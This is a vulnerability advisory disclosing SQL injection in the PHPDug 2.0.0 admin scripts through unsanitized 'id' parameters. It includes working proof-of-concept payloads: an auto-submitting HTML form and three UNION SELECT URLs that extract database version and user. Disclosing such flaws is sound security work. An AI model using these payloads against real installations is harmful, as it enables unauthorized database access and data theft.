Vulnerability ID: HTB22972 Reference: http://www.htbridge.ch/advisory/multiple_sql_injection_vulnerabilities_in_phpdug.html Product: PHPDug Vendor: Kubelabs.com ( http://www.kubelabs.com/ ) Vulnerable Version: 2.0.0 and probably prior versions Vendor Notification: 21 April 2011 Vulnerability Type: SQL Injection Risk level: Low Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: The vulnerability exists due to failure in the "adm/admin_edit.php", "adm/usergroup_edit.php", "adm/category_edit.php" scripts to properly sanitize user-supplied input in "id" variables. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database. Attacker can use browser to exploit this vulnerability. The following PoC is available: 1. <form action="http://host/adm/admin_edit.php" method="post" name="main"> <input type="hidden" name="id[1]" value="1'SQL_CODE"> <input type="hidden" name="username[1]" value="Admin"> <input type="hidden" name="password[1]" value="Admin"> <input type="hidden" name="Submit" value="Submit"> </form> <script> document.main.submit(); </script> 2. http://host/adm/admin_edit.php?id=999'+UNION+SELECT+version(),user(),3+--+ 3. http://host/adm/usergroup_edit.php?id=999%27+UNION+SELECT+version%28%29,user%28%29,3,4+--+ 4. http://host/adm/category_edit.php?id=999%27+UNION+SELECT+user%28%29,version%28%29,3+--+